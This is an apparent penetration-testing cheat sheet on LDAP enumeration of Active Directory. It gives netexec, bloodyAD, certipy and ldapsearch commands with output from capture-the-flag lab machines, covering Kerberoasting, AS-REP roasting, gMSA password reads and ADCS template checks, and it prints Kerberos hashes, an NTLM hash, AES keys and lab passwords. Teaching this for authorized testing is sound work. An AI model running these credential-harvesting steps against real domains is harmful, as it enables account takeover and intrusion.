LDAP_Cheat_Sheet

LDAP enumeration is a key part of a Windows Active Directory assessment. It can do so much, it’s hard to know exactly what to check. It typically requires some auth on the domain, but any user can get almost all of the information. This is the checklist I work through each time I get creds on a domain, starting with quick checks for things like roastable accounts, gMSA passwords, and deleted objects, then looking at ADCS, collecting and analyzing BloodHound data, finding objects I can write to, and digging into individual objects. I’ll also show what’s worth trying when I don’t have creds yet.

Checklist

On seeing TCP 389 on Windows host:

  • General Checks
    • Base Enumeration: netexec ldap <host> -u <user> -p <password>
    • Kerberoasting: netexec ldap <host> -u <user> -p <password> --kerberoast <out file>
    • AS-REP Roasting: netexec ldap <host> -u <user> -p <password> --asreproast <out file>
    • ms-DS-MachineAccountQuota: netexec ldap <host> -u <user> -p <password> -M maq
    • gMSA: netexec ldap <host> -u <user> -p <password> --gmsa
    • DNS dump: bloodyAD --host <DC host> -d <domain> -u <user> -p <password> get dnsDump --zone <domain>
    • Deleted Objects / Tombstones: netexec ldap <host> -u <user> -p <password> -M tombstone -o ACTION=query*
  • ADCS
    • netexec ldap <host> -u <user> -p <password> -M adcs
    • certipy find -vulnerable -stdout -k -target <host> -dc-host <host>*
  • BloodHound
    • Collection:
      • rusthound-ce -d <domain> -u <user> -p <password> --zip
      • netexec ldap <host> -u <user> -p <password> --bloodhound -c All --dns-server <DNS IP>
      • SharpHound.exe -c all
    • Analysis
      • Docker CE Container
      • Outbound Control on owned objects*
  • Writable Objects
    • bloodyAD --host <DC host> -d <domain> -u <user> -p <password> get writable*
  • Object Enumeration
    • netexec ldap <host> -u <user> -p <password> --query "(sAMAccountName=<object>)" ""
    • bloodyAD --host <DC host> -d <domain> -u <user> -p <password> get object <object>
  • Without Creds
    • ldapsearch -H ldap://<host> -x -s base namingcontexts
    • ldapsearch -H ldap://<host> -x -b "<base DN>"
    • netexec ldap <host> -u '' -p '' --query "(objectClass=*)" ""

* check for each compromised user.

Tools

  • netexec
    • General network service enumeration / exploitation tool, great LDAP support.
    • Docs
    • Install with uv (or pipx) - uv tool install git+https://github.com/Pennyw0rth/NetExec
    • Formerly crackmapexec.
  • bloodyAD
    • Active Directory enumeration and privilege escalation tool that works over LDAP.
    • GitHub
    • Install with uv tool install bloodyAD.
  • BloodHound and Collectors
  • certipy
    • Best tool for ADCS enumeration and exploitation
    • GitHub
    • Install with uv tool install certipy-ad.
  • ldapsearch
    • Generic command line LDAP client from OpenLDAP. Works without creds and against LDAP servers that aren’t Active Directory.
    • Install with apt install ldap-utils.

Background

LDAP, or Lightweight Directory Access Protocol, is an open standard for querying and modifying a directory service. It’s not specific to Windows (OpenLDAP is common on Linux), but it’s best known as the protocol in front of Active Directory. Every domain controller runs it, and almost everything in the domain (users, groups, computers, GPOs, trusts, certificate templates) is stored as an object in the directory that LDAP can query.

The directory is a tree. Each object has a distinguished name (DN) that gives its location, like CN=Administrator,CN=Users,DC=manager,DC=htb, and a set of attributes that hold its data, like sAMAccountName, memberOf, and description. A query gives a place in the tree to start from (the base DN) and a filter that says which objects to return.

LDAP listens on TCP 389, and LDAPS (LDAP over TLS) on TCP 636. A domain controller that is also a Global Catalog server will listen on TCP 3268 (and 3269 over TLS), which serves a partial read-only copy of every object in the forest.

Unlike SMB, there’s rarely much available without credentials. Modern domain controllers only allow an anonymous bind to read basic information about the server itself. But with any valid domain account, almost the entire directory is readable. In general, when enumerating LDAP, the primary goal is to map the domain, finding the users, groups, and computers, the relationships and permissions between them, and misconfigurations like roastable accounts, passwords in description fields, and vulnerable certificate templates.

General Checks

These are checks that give information about the domain regardless of the creds used to check. Many of these won’t matter to most scenarios, but if they do show something interesting, it is likely important. Others provide information that might be useful to specific attacks.

Base Enumeration

The most basic run of netexec will give a wealth of information about the host, including the hostname, the domain, the OS version, and whether LDAP signing and channel binding are enabled:

oxdf@hacky$ netexec ldap garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 

It also works over Kerberos, either using the -k flag with username and password:

oxdf@hacky$ netexec ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k
LDAP        dc1.ping.htb    389    DC1              [*] None (name:DC1) (domain:ping.htb) (signing:Unknown) (channel binding:Unknown) (NTLM:False)
LDAP        dc1.ping.htb    389    DC1              [+] ping.htb\c.roberts:AssumedBreach123

Or with a TGT in KRB5CCNAME and the --use-kcache flag.

Roasting

Both of these attacks get the domain controller to hand over data encrypted with a key derived from an account’s password, which I can then try to crack offline with hashcat. Kerberoasting works against accounts with a service principal name (SPN), as any authenticated user can request a service ticket for that service, and part of the ticket is encrypted with the service account’s password. AS-REP Roasting works against accounts that have Kerberos pre-authentication disabled, where the DC will send back data encrypted with the user’s password to anyone who asks.

netexec has flags to check for both, and both are worth a quick run. Typically they will show no results:

oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --kerberoast kerberoast
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
LDAP        10.129.244.207  389    DC01             [*] Skipping disabled account: krbtgt
LDAP        10.129.244.207  389    DC01             [*] Total of records returned 0
oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --asreproast asreproast
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
LDAP        10.129.244.207  389    DC01             No entries found!

But sometimes they will, such as this Kerberoast:

oxdf@hacky$ netexec ldap pirate.htb -u pentest -p 'p3nt3st2025!&' --kerberoasting kerberoast.txt
LDAP        10.129.60.234   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.60.234   389    DC01             [+] pirate.htb\pentest:p3nt3st2025!& 
LDAP        10.129.60.234   389    DC01             [*] Skipping disabled account: krbtgt
LDAP        10.129.60.234   389    DC01             [*] Total of records returned 2
LDAP        10.129.60.234   389    DC01             [*] sAMAccountName: a.white_adm, memberOf: CN=IT,CN=Users,DC=pirate,DC=htb, pwdLastSet: 2026-01-16 00:36:34.388000, lastLogon: 2025-06-09 16:03:37.380258
LDAP        10.129.60.234   389    DC01             $krb5tgs$23$*a.white_adm$PIRATE.HTB$pirate.htb\a.white_adm*$199396b8209e11c928bc9667e9e5d51c$3a8729973583aaf2006ff730307b200e2e516231131ce865a9365c1734b127619aa9c31041221fdc2695cc802e3c4b9991a243968484795310afc00d492ed6186b944648761d49861b4a630d1eb9d4b166b7bb70af33d834a406a7fc2ebd36d2a052dcabe14c94d5afd40bccf30f3d5f9b7cc720490d9b3acc09ed9b6c53c2e55b30be6698f1b65e4cf8e1a83efcc1ba51c2060444588d43733ac1d86b0ce1a1df64cd070c7f3d75298efe881c03c2b8cec57bf984673b782ebb97c1f2159d937bbf040374f35d2ed604b3487d599fa75ea558fc33288bb8b4563a64538932cbbefbbac62e96045e9120684288d0dc9aa5483bc8015a6ec1fe848dcfb906ca0d72b6b35decba2b024c5eb088d16cdc9cb284e1162ac6238a841c36930182d3734017e45aa6f8b2eeba699489c2118724f9c0e861df77ef57a7792369b325f5e22dd0c096ce6318e99288d738a6e35d171da3f614dd0147b0d8cee51e24a65eddc4ad4c05c2b9870817428ec792873f8619cfba3176a305b5113d3376650671a7f2bb72a0a8aa466d244f881201d7ed98f9acf7885755f5795ffe88aaf5bc44fbc09666605ca54df2aec7d9acd54fa84ad4ede4598de5bb0bb85257b9241d42f475a6376dcef61cae9d274ccdc5fe75492fc2be41648dcd22cad6bd4fa884117f1d1ff840462007a6b79e738e1a65a78203ef4354a1f7f0e0fb91194f5624ac8ed36b29a44e7382fb5c1bff8a07d57c81e6860e791bc94a84c88be73e990a59d60daaf477dab9ce648ebf9ff8913beb8e25796100dd5be200ffb711ecbdba82952dc607ef170bf92be7e89825f15effa95de06d590ea619db2450e78f8f0cc91c5dc1e947157664887ec17500e798aa20903fc8531f43dfa37e69ab349260e9838c45535bfa677b26ef4b4d24e8a0e91871bd9260015d77c99ee3238a52c17960e33eb9a326d1742aa90e24905002dea635f26b169953a0be1473bf31648e5992ee27c55e6f0867661fe206e3e38a647624a2125c4327668b9c889f3b4f0264d1dc6442180dc7e64cb274d6ecb0226691fbef963188bb1fef810990cd3cc4e58a8aaba068e3d9d058254f2c1fb0ba4568863122d1c0f0c66f476932fd43833bd6a705f90a27905cbfe2a8d94a0394d85984bb41941da055549ae00e19b3191dc2e38a5bc9e08e5bdd3fba40b67fe2e09fa92a02818b99ff4fdb7479293eb3048b2c119757fd9369e3089ea4a5c01caa129facd0c7d2448a12c1f3239491f98a50a95971dedc1bef2209b86e4f1b7dd707660a9e54d0d8a82f46a84da68b61c1daad3c78ccf2f3456460d63229ee04cc5fbf7dc1b1920a3d40779247218924f17531ea70e8140b5b71ccd61179f3a8ca7d18abd171e4bcdc23d7d607393ad45eb1743f0dddfba0c1025589078062119f45491491c933682c08195ab57e58d6c8dec1e30fe52258a75e340c
LDAP        10.129.60.234   389    DC01             [*] sAMAccountName: gMSA_ADFS_prod$, memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb, pwdLastSet: 2025-06-09 14:48:41.108220, lastLogon: 2026-08-12 00:13:57.823018
LDAP        10.129.60.234   389    DC01             $krb5tgs$18$hostgmsa_adfs_prod.pirate.htb$PIRATE.HTB$*pirate.htb\gMSA_ADFS_prod$*$0527105827c27465822fd3c6$06c308d5eed513f1e59c54f97833c609c787114fef64e77213194f54454a5f34d06a344934216a8d03014a641623ba0a03698f6f5f03c48ce14a51f288e609cb2ce3ac583a2d0fdb5c3f4731682e2f9264d08024903c6e3f8b1a1be471ca9ebb4f111569d0e6193e4c856cc51d4a09c8a711105b29ea7d415f971192c949a3d7c2fb4f1820b5631896ee3fcf9ab7eac008328cf09778e0ef550f7ce6053ddadfca847b93daca5d524db80ba17d2cdb3e28f4b3db84a30794568b81862603cd057ecd2d406a8d8fa7e7b33a2c2fb952475c95f928000624aabaf1228a2f2aeab848ea00339d56c6949d6b27328dfbdcf4dd8997edde3ab07bfbecd4b36c4a5ee74ec7dc4b4b968b4d07f3477e4189aa2a203e5e1f6e94f4e47628256c917dab88d2bda3ce5f908c8f119948170aaf483a9e45247bf07ee11cf291f725e416d561e67f954dc31dbdc858b8ca2f0580cd93cf91bd4c7b21ddbcb2b3d3a08b889de5e22002b39dc16037e7a4aa834ac5d1837d47d07cc1cfcc2b24269f83b7703a945cd9692a12587566c89798f87527413cd4066fc81bd9d8eef14fa32278bdb096054fe0222a0a98e3323cce6a44c37d4cca4f2259365fb7f57180f8c666b22ff25b7d9472133c888e33d42c55575416ab3bfbfbc11c62d9139d78daee4013e979833f71f55b71d61e553c1dafd30aa9167adff53f9c2ce1dea7ee1346ad7920d80334e7b423927305fe0a34df55079be3ce276fc7d4c4ed1b41b30ec83965067601040c0a7f36ace1c5823811a14fe81ffbd552051e2724426c617b8b64104e3b27ee26d9706b9c77f97e6d9792012b4c707832f6e4dc00b98345db7fce46c3abe56c280fd950dd96edf38af0dffa35e5c53a8b43941ecc89b04b3d210740412c373c334192afb1a626741508c33476eaa04d7198f4ab8c9673232ee96e8c26aa4878d9f5b5c1c8c4515df5ec29b25f35aee60bb82d5d991438a6fcbe25d2049089962040f788c8d16b397c887e8d526d1af6bffc2c3135314559012e1bec145801c5c8ae271ee03a2a48ed046fc19afd81b5e28244accbb7f14bca99c0285fddf3d35acbc6db0b58675ba50e4b31e0a853a36ec4613e17c85f6b3d49fc97611a57659f4c93881bfe7321bd0bff98880ba666d23aedc33983eca78530103fa17444ec8d6eaaa50339488d5c10bdc69e7f929c1d2b853c5560a33b02c84a3a5676d0d441dd5b5bce9209acd8b49f8dea2b4dd5a87ac8533e20ecefd69b8f4f4182654bb37d0b984e39b7c5f9f4c30e6b1748a0dde21a44eda0d242e36a74b3ec8c0005d7f71f7d283f5d98563cd362ffffc62b784a00fe12fa7b21efe33f8c9d8600da55f08d02c5140968f095267b4945cbaaa37443389c2762b2425f9d063e3c7fa82bdad28f58c0fecaadbb1753beb53ce6fe77faf00f848df16911357499b7b57d6c1d945347f4901d

Or this AS-REP Roast:

oxdf@hacky$ netexec ldap brunodc.bruno.vl -u svc_scan -p '' --asreproast svc_scan.asreproast 
LDAP        10.129.238.9    389    BRUNODC          [*] Windows Server 2022 Build 20348 (name:BRUNODC) (domain:bruno.vl) (signing:None) (channel binding:Never)
LDAP        10.129.238.9    389    BRUNODC          $krb5asrep$23$svc_scan@BRUNO.VL:fd02ae5687c52c5609c5f0b200b97701$68a48d72437c7b7dded526b38778444aa46eee547d8518e02bf48ff9d85663f868e224b465ebe1ffb958ea5c00a0595710c1555cb5ff6a5413af8850aa2a6577429afed994c8ee577d3d4be441b6f5fe38465cac4fdb8e438d9432520236d12f54feddbecca1711532e59765bc0b9679f883d091b1ee3321baa50e390ba624eeacd96b53be0f82915b6c79ac70f8badd844b647df624b56590cce5e9c6b66ad7e93c13daf47bcc9b40999ef3cbd969f613651c5fbbb6872f58de405cf75db5e8b2f8ce67924933a14fc9ddff595b7b6b5b48f7fd1fa8b08c156e940ef4da24585174b2a4

ms-DS-MachineAccountQuota

This domain-wide setting gives the number of machines that any authenticated user can add to the domain, which Microsoft sets to 10 by default. It is generally considered best practice today to reduce this to 0:

oxdf@hacky$ netexec ldap dc.hercules.htb -u ken.w -p 'change*th1s_p@ssw()rd!!' -k -M maq
LDAP        dc.hercules.htb 389    DC               [*] None (name:DC) (domain:hercules.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        dc.hercules.htb 389    DC               [+] hercules.htb\ken.w:change*th1s_p@ssw()rd!! 
MAQ         dc.hercules.htb 389    DC               [*] Getting the MachineAccountQuota
MAQ         dc.hercules.htb 389    DC               MachineAccountQuota: 0

That said, it is not uncommon to see the default:

oxdf@hacky$ netexec ldap DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' -M maq
LDAP        10.129.60.234   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.60.234   389    DC01             [+] pirate.htb\pentest:p3nt3st2025!& 
MAQ         10.129.60.234   389    DC01             [*] Getting the MachineAccountQuota
MAQ         10.129.60.234   389    DC01             MachineAccountQuota: 10

This is not a vulnerability on its own, but there are many attacks that require having a machine account or account with an SPN under control, and adding a fake computer is a great way to do that.

gMSA

Group Managed Service Accounts (gMSA) are accounts that have very strong passwords managed by the domain controller, and certain accounts are given permission to read the password. From any account on the domain, I can get a list of these and who can read the password. Many times it will be none:

oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --gmsa
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
LDAP        10.129.244.207  389    DC01             [*] Getting GMSA Passwords

But sometimes there will be accounts. In HTB: Pirate, the Domain Secure Servers group is able to read the password on two gMSA accounts:

oxdf@hacky$ netexec ldap pirate.htb -u pentest -p 'p3nt3st2025!&' --gmsa
LDAP        10.129.60.234   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.60.234   389    DC01             [+] pirate.htb\pentest:p3nt3st2025!& 
LDAP        10.129.60.234   389    DC01             [*] Getting GMSA Passwords
LDAP        10.129.60.234   389    DC01             Account: gMSA_ADCS_prod$      NTLM: <no read permissions>                PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP        10.129.60.234   389    DC01             Account: gMSA_ADFS_prod$      NTLM: <no read permissions>                PrincipalsAllowedToReadPassword: Domain Secure Servers

On HTB: PingPong, there’s an account, but no users are configured to read its password:

oxdf@hacky$ netexec ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k --gmsa
LDAP        dc1.ping.htb    389    DC1              [*] None (name:DC1) (domain:ping.htb) (signing:Unknown) (channel binding:Unknown) (NTLM:False)
LDAP        dc1.ping.htb    389    DC1              [+] ping.htb\c.roberts:AssumedBreach123 
LDAP        dc1.ping.htb    389    DC1              [*] Getting GMSA Passwords
LDAP        dc1.ping.htb    389    DC1              Account: gMSA$                NTLM: <no read permissions>                PrincipalsAllowedToReadPassword: []

If the authenticated user can read the gMSA password, netexec will show the NTLM hash and AES keys:

oxdf@hacky$ KRB5CCNAME=c.roberts.ccache netexec ldap dc2.pong.htb --use-kcache --gmsa
LDAP        dc1.pong.htb    389    DC2              [*] None (name:DC2) (domain:PING.HTB) (signing:Unknown) (channel binding:No TLS cert) (NTLM:False)
LDAP        dc2.pong.htb    389    DC2              [+] PING.HTB\c.roberts from ccache 
LDAP        dc2.pong.htb    389    DC2              [*] Getting GMSA Passwords
LDAP        dc2.pong.htb    389    DC2              Account: Pong_gMSA$           NTLM: 989bd748ac8dd0b71ab24edccc9fc012     PrincipalsAllowedToReadPassword: gMSA Managers
LDAP        dc2.pong.htb    389    DC2              Account: Pong_gMSA$           aes128-cts-hmac-sha1-96: 97cefa17dcaec66d9b52a97be398acf0
LDAP        dc2.pong.htb    389    DC2              Account: Pong_gMSA$           aes256-cts-hmac-sha1-96: 725f29ca3b45942c57a4e8576532f0262c55edfdce59bdcd4b411f4566ea1aa6

DNS

LDAP can read DNS zone information using bloodyAD:

oxdf@hacky$ bloodyAD --host 10.129.244.207 -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get dnsDump --zone garfield.htb

recordName: garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
SOA.PrimaryServer: dc01.garfield.htb
SOA.zoneAdminEmail: hostmaster@garfield.htb
NS: dc01.garfield.htb
A: 10.129.244.207; 192.168.100.1

recordName: _gc._tcp.garfield.htb
SRV: dc01.garfield.htb:3268

recordName: _gc._tcp.Default-First-Site-Name._sites.garfield.htb
SRV: RODC01.garfield.htb:3268; dc01.garfield.htb:3268

recordName: _kerberos._tcp.garfield.htb
SRV: dc01.garfield.htb:88

recordName: _kerberos._tcp.Default-First-Site-Name._sites.garfield.htb
SRV: RODC01.garfield.htb:88; dc01.garfield.htb:88

recordName: _kerberos._udp.garfield.htb
SRV: dc01.garfield.htb:88

recordName: _kpasswd._tcp.garfield.htb
SRV: dc01.garfield.htb:464

recordName: _kpasswd._udp.garfield.htb
SRV: dc01.garfield.htb:464

recordName: _ldap._tcp.garfield.htb
SRV: dc01.garfield.htb:389

recordName: _ldap._tcp.Default-First-Site-Name._sites.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389

recordName: _ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389

recordName: _ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389

recordName: _ldap._tcp.DomainDnsZones.garfield.htb
SRV: dc01.garfield.htb:389

recordName: _ldap._tcp.ForestDnsZones.garfield.htb
SRV: dc01.garfield.htb:389

recordName: _msdcs.garfield.htb
NS: dc01.garfield.htb

recordName: dc01.garfield.htb
AAAA: dead:beef::6abd:8baa:aa7a:c019; dead:beef::1f6
A: 10.129.244.207

recordName: DomainDnsZones.garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
A: 192.168.100.1; 10.129.244.207

recordName: ForestDnsZones.garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
A: 192.168.100.1; 10.129.244.207

recordName: RODC01.garfield.htb
A: 192.168.100.2

SOA.PrimaryServer: dc01.garfield.htb
SOA.zoneAdminEmail: hostmaster@garfield.htb
recordName: _msdcs.garfield.htb

recordName: _kerberos._tcp.dc._msdcs.garfield.htb
SRV: dc01.garfield.htb:88

recordName: _kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.garfield.htb
SRV: RODC01.garfield.htb:88; dc01.garfield.htb:88

recordName: _ldap._tcp.bcc7093d-cd1a-42dc-a248-8401d5782b41.domains._msdcs.garfield.htb
SRV: dc01.garfield.htb:389

recordName: _ldap._tcp.dc._msdcs.garfield.htb
SRV: dc01.garfield.htb:389

recordName: _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389

recordName: _ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.garfield.htb
SRV: RODC01.garfield.htb:3268; dc01.garfield.htb:3268

recordName: _ldap._tcp.gc._msdcs.garfield.htb
SRV: dc01.garfield.htb:3268

recordName: _ldap._tcp.pdc._msdcs.garfield.htb
SRV: dc01.garfield.htb:389

recordName: 16e271d2-270f-4a57-b7f1-74497d050024._msdcs.garfield.htb
CNAME: dc01.garfield.htb

recordName: gc._msdcs.garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
A: 192.168.100.1; 10.129.244.207

recordName: 0cffd740-bba9-471b-aec4-1c9d0ddd7101._msdcs.garfield.htb
CNAME: RODC01.garfield.htb

Sometimes this is useful, often it’s not.

Deleted Objects / Tombstones

Deleted objects in Active Directory aren’t removed right away. They are kept in the Deleted Objects container (as tombstones, or in the AD Recycle Bin if that’s enabled) so that they can be recovered later. The -M tombstone module from netexec will identify any of these that the current user can see. For example, from HTB: Checkpoint:

oxdf@hacky$ netexec ldap 10.129.109.154 -u alex.turner -p 'Checkpoint2024!' -M tombstone -o ACTION=query
LDAP        10.129.109.154  389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert) 
LDAP        10.129.109.154  389    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
TOMBSTONE   10.129.109.154  389    DC01             
TOMBSTONE   10.129.109.154  389    DC01             sAMAccountName      : mark.davies
TOMBSTONE   10.129.109.154  389    DC01             description         : 
TOMBSTONE   10.129.109.154  389    DC01             dn                  : CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
TOMBSTONE   10.129.109.154  389    DC01             ID                  : 2217e877-e2a2-47d7-91d4-99ede36f367e
TOMBSTONE   10.129.109.154  389    DC01             isDeleted           : TRUE
TOMBSTONE   10.129.109.154  389    DC01             lastKnownParent     : OU=Employees,DC=checkpoint,DC=htb
TOMBSTONE   10.129.109.154  389    DC01             
TOMBSTONE   10.129.109.154  389    DC01             Found 1 deleted objects

I can also use bloodyAD to search the Deleted Objects container, passing the LDAP controls (with -c) that tell the server to include deleted objects in the results:

oxdf@hacky$ bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --base 'CN=Deleted Objects,DC=checkpoint,DC=htb' --filter '(sAMAccountName=*)' --attr sAMAccountName,lastKnownParent,description,objectSid

distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
lastKnownParent: OU=Employees,DC=checkpoint,DC=htb
objectSid: S-1-5-21-3129162710-3498938529-1807524340-1102
sAMAccountName: mark.davies

ADCS

Background

Active Directory Certificate Services (ADCS) is Microsoft’s public key infrastructure (PKI) for the domain. A server running as a certificate authority (CA) issues certificates to users and computers, which are used for things like smart card logon, encrypting files, and TLS on internal websites. It’s not installed by default, but it’s very common in enterprise networks.

What a certificate can be used for and who can request it are defined by certificate templates. A template sets things like who is allowed to enroll, what the certificate is valid for, whether it requires a manager’s approval, and whether the requester gets to supply the name that goes on the certificate.

A certificate that is valid for client authentication can be used to authenticate to the domain as the user named on it, giving a TGT and the NTLM hash for that account. In 2021, SpecterOps published Certified Pre-Owned, laying out a series of misconfigurations in templates and CAs that allow for exactly this, numbered ESC1 through ESC8. Researchers have kept adding to that list since, and the Certipy wiki has a nice reference for each.

All of this lives in LDAP. The CAs and templates are objects in the Configuration naming context, readable by any authenticated user, so I can check for an ADCS server and vulnerable templates as soon as I have any creds on the domain.

General Configuration

netexec is a nice way to quickly check if ADCS is in use on a target. For example, on HTB: Garfield it is not:

oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M adcs
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
ADCS        10.129.244.207  389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'

The check comes back empty. On the other hand, HTB: PingPong shows the PKI Enrollment Server and the certificate authority common name:

oxdf@hacky$ netexec ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k -M adcs
LDAP        dc1.ping.htb    389    DC1              [*] None (name:DC1) (domain:ping.htb) (signing:Unknown) (channel binding:Unknown) (NTLM:False)
LDAP        dc1.ping.htb    389    DC1              [+] ping.htb\c.roberts:AssumedBreach123 
ADCS        dc1.ping.htb    389    DC1              [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        dc1.ping.htb    389    DC1              Found PKI Enrollment Server: dc1.ping.htb
ADCS        dc1.ping.htb    389    DC1              Found CN: ping-DC1-CA

Enumeration

The best way to see all certificate template information is with Certipy. The find command, typically paired with -vulnerable, will show vulnerable templates. Without -vulnerable, it will dump all templates. The template is only identified as vulnerable if the current user can exploit it, so it’s worth re-running for each compromised user.

For example, on HTB: PingPong, certipy finds a template vulnerable to ESC13:

oxdf@hacky$ KRB5CCNAME=c.roberts.ccache certipy find -vulnerable -stdout -k -target dc1.ping.htb -dc-host dc1.ping.htb -ns 10.129.128.220
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 1 OID linked to a template
[*] Retrieving CA configuration for 'ping-DC1-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'ping-DC1-CA'
[*] Checking web enrollment for CA 'ping-DC1-CA' @ 'dc1.ping.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : ping-DC1-CA
    DNS Name                            : dc1.ping.htb
    Certificate Subject                 : CN=ping-DC1-CA, DC=ping, DC=htb
    Certificate Serial Number           : 6F8E726EEFA64B894CE82D498BC27632
    Certificate Validity Start          : 2026-04-20 18:54:41+00:00
    Certificate Validity End            : 2126-04-20 19:04:41+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : PING.HTB\Administrators
      Access Rights
        ManageCa                        : PING.HTB\Administrators
                                          PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        ManageCertificates              : PING.HTB\Administrators
                                          PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        Enroll                          : PING.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : TemporaryWinRM
    Display Name                        : Temporary WinRM
    Certificate Authorities             : ping-DC1-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-12-23T17:19:28+00:00
    Template Last Modified              : 2025-12-27T21:12:15+00:00
    Issuance Policies                   : 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623
    Linked Groups                       : CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb
    Permissions
      Enrollment Permissions
        Enrollment Rights               : PING.HTB\Domain Admins
                                          PING.HTB\Domain Users
                                          PING.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : PING.HTB\Administrator
        Full Control Principals         : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        Write Owner Principals          : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        Write Dacl Principals           : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
